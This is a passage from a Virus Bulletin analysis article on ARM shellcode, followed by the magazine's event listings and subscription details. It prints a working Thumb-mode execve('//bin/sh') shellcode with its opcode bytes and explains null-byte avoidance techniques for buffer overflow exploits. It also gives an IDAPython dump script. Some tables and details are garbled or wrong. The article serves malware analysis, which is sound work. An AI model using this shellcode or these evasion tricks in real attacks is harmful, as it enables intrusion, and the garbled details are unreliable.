There are clearly too many bad bytes to deal with such opcode in the case of shellcode.

The second trick is based on the FPU instruction FSTENV, which saves the FPU and part of the CPU state in memory. In protected mode, 28 bytes of memory are needed to store the saved state:

```
Address | Instructions
--------|--------------
0       | FLDZ         
+2      | FSTENV SS:[ESP-0xC] 
+6      | POP ECX     
```

Table 2: The FPU instruction FSTENV saves the FPU and part of the CPU state in memory.

After the code shown above has been executed, the ECX register contains the address of the FLDZ instruction.

It is worth mentioning that both methods are system-independent, unlike methods based on Structured Exception Handling (SEH) which only work under Windows, for example. It should not come as a surprise, therefore, that ARM shellcode can also be written in such a way that enables execution under different operating systems. Obviously the API calling convention changes from platform to platform, but the shellcode framework can be reused in such cases.

So how is it done on the ARM platform? There are a number of features of ARM architecture that particularly appeal to shellcode authors – one of which is the ability to switch between ARM and Thumb modes and the fact that this process does not require any special preparation (unlike switching between real and protected mode on x86 CPU, for example). Why is this feature so important to shellcode authors? Since the Thumb/Thumb2 instruction set is 16 bits long, the instruction encodings are not only shorter (shorter shellcode means more flexible and more reliable shellcode), but as a side effect, many bad bytes are eliminated. We will discuss this in more detail later in the article.

API CALLING CONVENTIONS

To understand all the shellcode presented here we first need to understand the Linux API calling convention, which is a reflection of the ARM calling convention.

Let’s start with the Linux `execve()` calling structure:

- R0 must point to the ‘//bin/sh’ string
- R1 must point to the ‘//bin/sh’ string

<table>
<thead>
<tr>
<th>Address</th>
<th>Bytes</th>
<th>Instructions</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>e28f6001</td>
<td>add r6, pc, #1</td>
<td>This is an ARM-type GetPC construction based on jump.</td>
</tr>
<tr>
<td>+4</td>
<td>e12fff16</td>
<td>bx r6</td>
<td>The BX instruction not only sets PC to the R6 value, but also switches ARM into Thumb mode.</td>
</tr>
<tr>
<td>+8</td>
<td>4678</td>
<td>mov r0, pc</td>
<td>This is the second part of the GetPC construction – now R0 contains the current offset of the shellcode. Note that from this point on, the shellcode is executing in Thumb mode.</td>
</tr>
<tr>
<td>+A 300a</td>
<td>str [sp,#4]</td>
<td>The section data pointer is placed on the stack.</td>
<td></td>
</tr>
<tr>
<td>+C 9001</td>
<td>add r1, sp, #4</td>
<td>R1 = SP+4 – points to the //bin/sh string.</td>
<td></td>
</tr>
<tr>
<td>+E a901</td>
<td>adds r0, #10</td>
<td>The R0 register value is adjusted to point to the data section (R0 points to the +16 address) – points to //bin/sh string.</td>
<td></td>
</tr>
<tr>
<td>+10 1a92</td>
<td>subs r2, r2, r2</td>
<td>The R2 register is zeroed out (R2 = 0). Subs r2, r2, r2 is used in order to avoid bad bytes.</td>
<td></td>
</tr>
<tr>
<td>+12 270b</td>
<td>movs r7, #11</td>
<td>R7 contains the Linux SYSCALL number (0x0B = execve).</td>
<td></td>
</tr>
<tr>
<td>+14 df01</td>
<td>svc 1</td>
<td>Linus SYSCALL.</td>
<td></td>
</tr>
<tr>
<td>+16 //bin/sh</td>
<td>Data section for execve SYSCALL.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Table 3: Shellcode instructions.
• R2 must be set to 0
• R7 must contain the syscall number, which is 0x0b (11) for Linux execve().

Now if you take a look at the shellcode in Table 3, you will see that most parts of it are preparations for the syscall.

A SIMPLE CONSTRUCTION TO AVOID NULL BYTES

As described in [1], NULL bytes are bad bytes because they terminate C-string-based functions. When exploiting even the most basic buffer overflow vulnerability using the insecure strcpy() function, the attacker does not want his shellcode to be partially copied into memory because it will crash the target process during execution (setting aside safeguards such as a non-executable stack and ASLR). This means that the final shellcode must not contain any NULL bytes. However, as noted earlier, NULL bytes are C string delimiters, and in the case of Linux they are used to mark the end of strings passed to glibc and kernel functions, for example. One solution to the problem is to patch bytes that are C string delimiters during runtime so that their value turns to 0 only after the shellcode has gained control over the currently executing context. However, simply loading a 0 value directly into the register will not work:

```
mov r7, #0
and
ldr r5, #0
```
result in bad bytes. Shellcoders use a couple of tricks to eliminate this problem. We’ve already seen one such trick at offset +10 of our shellcode – to load 0 into the R2 register the following instruction is used:

```
subs r2, r2, r2
```

Sometimes, instead of the subs rx, rx, rx stream of instructions, a different construction is used to zero out registers:

```
subs rx, rx, rx
mov ry, rx
mov rz, rx
```

where x, y and z are register numbers. However, this trick might not work with the R0 register in ARM mode, since such instructions can be encoded with bad bytes.

The result of this subtraction operation is stored in the R2 register and the R2 register value is subtracted from the R2 register value. The result is the required zero.

Another obvious trick is to employ the exclusive-or (eor) operation on the same register:

```
eor r2, r2
```

You might also be wondering why our shellcode uses the BX instruction to make a branch in the shellcode. After all, the PC register is accessible and its value can be stored in any other general-purpose register using a simple mov instruction (as happens at the +8 offset). The reason lies in the additional functionality of the BX instruction. It not only jumps to a given location (setting PC to an appropriate value), but it also switches from the ARM instruction set to the Thumb instruction set, which happens to be shorter. This allows the SVC instruction to be two bytes long instead of the longer, 32-bit ARM version, which in turn can contain bad bytes. We will return to this discussion later.

TESTING OUR SHELLCODE ON A REAL TARGET

In order to make our simple shellcode work within the C wrapper presented in [1] we need to get rid of the non-executable stack. In order to do that we use the -z execstack switch (without the -z execstack option the application could shut down with a ‘segmentation fault’ error):

```
gcc -z execstack -o 21253-raspi-execve.exe 21253-raspi-execve.c
```

Now we will be able to execute the shellcode. Note that if you do not plan to run the shellcode but just get a compiled byte stream for further analysis, you can safely skip this step. In fact, the non-executable stack has no direct impact on debugging when using IDA Pro with qemu. However, if you plan to debug/analyse shellcode directly with on-target architecture, the non-executable stack should be disabled.

You might be surprised to learn that when trying to debug our example code with gdb it fails after the BX instruction. The reason is that gdb does not currently support Thumb2 instructions out of the box [2]. Gdb’s lack of support for Thumb2 is a good reason to switch to IDA Pro. However, gdb will be sufficient just to examine the resulting ELF binary and to find out how parameters are passed and how the shellcode is called at an assembly level. In order to do this we must:

1. Load the program binary into memory and set a breakpoint at the main() function (break main).
2. Run the program to catch the first breakpoint (run).
3. Disassemble the main function (disassemble).
4. Set a breakpoint at the call to our shellcode (break *0x0846c).
5. Continue program execution (cont).
6. Execute a single instruction (si) to enter our shellcode.
7. Get the CPU status (info registers).

Listing 1 shows a simple *gdb* session. As you can see, we are able to locate our shellcode in memory and to determine how it is called. The reason we have discussed *gdb* in detail is because it is available on all *Linux* systems on different platforms. However, the rest of our work will be done with *IDA Pro*.

**ANALYSING SHELLCODE WITH IDA PRO**

*IDA Pro* has several great features that target ARM architecture, and when these are combined with *IDAPython* and other neat functionality, it makes an excellent tool for analysis.

Let’s start by loading our binary with shellcode into *IDA*. Select the file and choose ARM as the target CPU. When *IDA* loads the file it displays the warning shown in Figure 2 about the ARM and Thumb instruction sets. Since *IDA* might not automatically be able to distinguish which instruction set is being used, and to provide the user with the ability to switch manually between modes, it provides a virtual register, T (Figure 3), which when set to 1 defines Thumb opcode (16-bit) and when set to 0 signifies ARM (32-bit) mode. Thanks to this feature you can switch back and forth from Thumb to ARM during disassembly of your code. Of course, when *IDA* is able to detect the mode switch (by tracing the BX instruction target, for example), it adjusts the T register value accordingly.

Next let’s try to locate our shellcode. We’ve already got an address from the *gdb* session: 0x084F8. However, the exact address displayed in *IDA Pro* will be:

```
.rodata:000084F8 (for the 'Jump to address' command
```
we can still pass the 0x084F8 value without knowing which ELF section we are looking for). If we hadn’t
got the address from the gdb experiment, we could use
IDA to help us locate our byte stream. Since we’ve used
GCC, IDA is able to identify functions, and the main() function is displayed in the ‘Function name’ window.
Click on ‘main’ to jump to it. Next, scroll down and look
for a branch-with-link instruction, since our C wrapper is
using the call ‘(*(void(*)()) SC)();’ to transfer execution
to the SC table. Figure 4 shows a disassembly provided
by IDA.

If you jump to the SC symbol (by clicking on it) you will
not find our shellcode yet, but the data shown in Figure 5.
Obviously the disassembly is wrong, since this is data
rather than code. However, if you convert it to data (using
the D key) you get: DCD 0x84F8. This is a more
reasonable interpretation. The process should not come as
a surprise since in C code we were using pointers, so the
SC variable contains the address to our shellcode rather
than the shellcode itself.

When we have the address of the shellcode we can jump to
it – see Figure 6.

As you can see, the shellcode starts at 0x84F8 and the
shellcode data section starts from 0x850E – this contains the
string for the execve() call. The call to the execve() function

is at 0x850C. Note how the SVC 1 instruction is encoded so
there are no bad bytes.

As a side note, when I’m disassembling and analysing
shellcode within IDA I always mark its start and end by
renaming those locations (using the ‘N’ key in disassembly
view). I always use the names ‘SHELLCODE_START’
and ‘SHELLCODE_END’, but the names can be
anything as long as you can memorize them – such
marks may be helpful later during analysis. Keep in
mind that calculating the start and end of shellcode can
be quite tricky – here, we are using a C wrapper to test
the shellcode, but in a real-life scenario you may have
a malware sample that sends packets over the network
and there will be no hints such as symbols or even BLX
instructions.

If you take a look at our shellcode entry point once more
you will notice another important thing: it starts with ARM
instructions and switches to Thumb2 mode using BX.
Note how the ARM and Thumb/Thumb2 instructions are
encoded:

• All ARM opcodes (32-bit) occupy exactly four bytes
• All Thumb/Thumb2 opcodes (12-bit) occupy exactly
two bytes.

Figure 3: Virtual segment register T value definition – it
should reflect the T bit of the processor state register
(CPSR).

Figure 4: Shellcode call from C wrapper.

Figure 5: SC symbol definition.

Figure 6: Our execve shellcode disassembly in IDA Pro.
This explains why shellcode written in Thumb mode is shorter. Besides the previously mentioned SVC instruction coding issue in ARM mode there is another construction that causes problems due to the generation of bad bytes: the R0 register. Take a look at the following instruction samples and their encodings:

06 00 A0 E1  MOV  R0, R6
00 60 A0 E1  MOV  R6, R0
03 00 A0 E1  MOV  R0, R3
05 00 A0 E1  MOV  R0, R5
00 30 90 E5  LDR  R3, [R0]
0C 00 9F E5  LDR  R0, =main
04 00 2D E5  STR  R0, [SP, #-4]

As you can see, in most cases use of the R0 register in ARM mode ends with a NULL byte. Why don’t the MOV R0, PC instructions from our shellcode contain any bad bytes? The reason is that there is a difference in encoding between the 32-bit and 16-bit instruction sets. In our case the MOV R0, PC instruction is for Thumb2 mode and therefore it occupies only two bytes instead of ARM’s four bytes as in the examples above, and the resulting encoding does not use a zero byte value. When constructing shellcode you have to remember that other instructions might also generate bad bytes, even without referencing the R0 register – for example:

00 30 93 E5  LDR  R3, [R3]

If you have problems calculating the correct shellcode end address, in most cases you can dump memory up to the first occurrence of a NULL byte or any other type of bad byte. In most cases properly working shellcode will not contain any type of bad bytes.

```
shelldump = ''
dump_size = 128
ea = ScreenEA()
print 'Dumping %02d bytes starting from address: 0x%X' % (ea, dump_size)
for ea in range (ea, ea + dump_size):
    print '%02X' % Byte(ea),
    shelldump += '%c' % Byte(ea)
if len(shelldump) > 0:
    print 'Writing shelldump.bin file'
    fin = open('shelldump.bin','w+b')
    fin.write(shelldump)
    fin.close()
```

Listing 2: Python script saved as ‘dumpshellcode128b.py’.

**DUMPING THE SHELLCODE FROM THE EXECUTABLE**

We’ve done a lot to get to our shellcode – debugging it further with all the additional C code such as runtime libraries is pointless. The idea of the previous exercise was to demonstrate how to extract the shellcode with **IDA Pro** by locating it within the ELF binary.

Now let’s dump our shellcode into a simple, flat binary file. In the case of emulating an execution environment, usually the simpler the things we load into it, the better the results.

There are many ways to achieve this goal. The method I’ve used is not the simplest, but it demonstrates the power and possible usage of **IDAPython**. We will use the Python script presented in Listing 2. Save this as ‘dumpshellcode128b.py’ and place the cursor at the beginning of the shellcode. Starting from the cursor position, the next 128 bytes will be saved to the ‘shelldump.bin’ file. To get the current cursor position (which, from **IDA**’s perspective, is an address) we use the ScreenEA() function. To access the byte at the address we use the Byte() function. Both are provided by **IDAPython**, the rest is pure Python code. (Note that the script is for illustration purposes only. It lacks error checking and exception handling; it could use name markers for calculating size of dump, etc.)

By changing the dump_size variable you can control how many bytes will be dumped to the file.

**SUMMARY**

All of what we’ve done so far has been in preparation for a more challenging task: analysing polymorphic ARM shellcode with **IDA Pro**. We will look at this in depth in the next part of the series.

**REFERENCES**


END NOTES & NEWS

The 3rd Annual European Smart Grid Cyber and SCADA Security Conference takes place 11–12 March 2013 in London, UK. For more information see http://www.smi-online.co.uk/utility/uk/european-smart-grid-cyber-security.


The 11th Iberoamerican Seminar on Security in Information Technology will be held 22–28 March 2013 in Havana, Cuba. For details see http://www.informaticahabana.com/.

EBCG’s 3rd Annual Cyber Security Summit will take place 11–12 April 2013 in Prague, Czech Republic. To request a copy of the agenda see http://www.ebcg.biz/ebcg-business-events/15/international-cyber-security-master-class/.

SOURCE Boston takes place 16–18 April 2013 in Boston, MA, USA. For details see http://www.sourceconference.com/boston/.

Digital Shield Summit 2013 takes place 21–22 April 2013 in Abu Dhabi, UAE. For details see http://www.digitalslidhume.com/.

The Commonwealth Cybersecurity Forum will be held 22–26 April 2013 in Yaoundé, Cameroon. For details see http://www.cto.int/events/upcoming-events/commonwealth-cybersecurity-forum/.

Infosecurity Europe will be held 23–25 April 2013 in London, UK. For details see http://www.infosec.co.uk/.

The 7th International CARO Workshop will be held 16–17 May 2013 in Bratislava, Slovakia. See http://2013.caro.org/.


The 22nd Annual EICAR Conference will be held 10–11 June 2013 in Cologne, Germany. For details see http://www.eicar.org/.

NISC13 will be held 12–14 June 2013. For more information see http://www.nisc.org.uk/.

The 25th annual FIRST Conference takes place 16–21 June 2013 in Bangkok, Thailand. For details see http://conference.first.org/.

Hack in Paris takes place 17–21 June 2013 in Paris, France. For more information see https://www.hackinparis.com/.

Black Hat USA will take place 27 July to 1 August 2013 in Las Vegas, NV, USA. For more information see http://www.blackhat.com/.

The 22nd USENIX Security Symposium will be held 14–16 August 2013 in Washington, DC, USA. For more information see http://usenix.org/events/.

VB2013 takes place 2–4 October 2013 in Berlin, Germany. V8 is currently seeking submissions from those wishing to present at the conference (deadline 8 March). Full details of the call for papers are available at http://www.virusbtn.com/conference/vb2013/.

VB2014 will take place 24–26 September 2014 in Seattle, WA, USA. More information will be available in due course at http://www.virusbtn.com/conference/vb2014/. For details of sponsorship opportunities and any other queries please contact conference@virusbtn.com.

ADVISORY BOARD

Pavel Baudis, Alwil Software, Czech Republic
Dr Sarah Gordon, Independent research scientist, USA
Dr John Graham-Cumming, CloudFlare, UK
Shimon Gruper, NovaSpark, Israel
Dmitry Gryaznov, McAfee, USA
Joe Hartmann, Microsoft, USA
Dr Jan Hruska, Sophos, UK
Jeannette Jarvis, McAfee, USA
Jakub Kaminski, Microsoft, Australia
Eugene Kaspersky, Kaspersky Lab, Russia
Jimmy Kuo, Microsoft, USA
Chris Lewis, Spamhaus Technology, Canada
Costin Raiu, Kaspersky Lab, Romania
Péter Ször, McAfee, USA
Roger Thompson, Independent researcher, USA
Joseph Wells, Independent research scientist, USA

SUBSCRIPTION RATES

Subscription price for Virus Bulletin magazine (including comparative reviews) for one year (12 issues):
- Single user: $175
- Corporate (turnover < $10 million): $500
- Corporate (turnover < $100 million): $1,000
- Corporate (turnover > $100 million): $2,000
- Bona fide charities and educational institutions: $175
- Public libraries and government organizations: $500

Corporate rates include a licence for intranet publication.

Subscription price for Virus Bulletin comparative reviews only for one year (6 VBSpam and 6 VB100 reviews):
- Comparative subscription: $100

See http://www.virusbtn.com/virusbulletin/subscriptions/ for subscription terms and conditions.

Editorial enquiries, subscription enquiries, orders and payments:
Tel: +44 (0)1235 555139 Fax: +44 (0)1865 543153
Email: editorial@virusbtn.com Web: http://www.virusbtn.com/

No responsibility is assumed by the Publisher for any injury and/or damage to persons or property as a matter of products liability, negligence or otherwise, or from any use or operation of any methods, products, instructions or ideas contained in the material herein.

This publication has been registered with the Copyright Clearance Centre Ltd. Consent is given for copying of articles for personal or internal use, or for personal use of specific clients. The consent is given on the condition that the copier pays through the Centre the per-copy fee stated below.

VIRUS BULLETIN © 2013 Virus Bulletin Ltd, The Pentagon, Abingdon Science Park, Abingdon, Oxfordshire OX14 3YP, England. Tel: +44 (0)1235 555139. /2013/$0.00+2.50. No part of this publication may be reproduced, stored in a retrieval system, or transmitted in any form without the prior written permission of the publishers.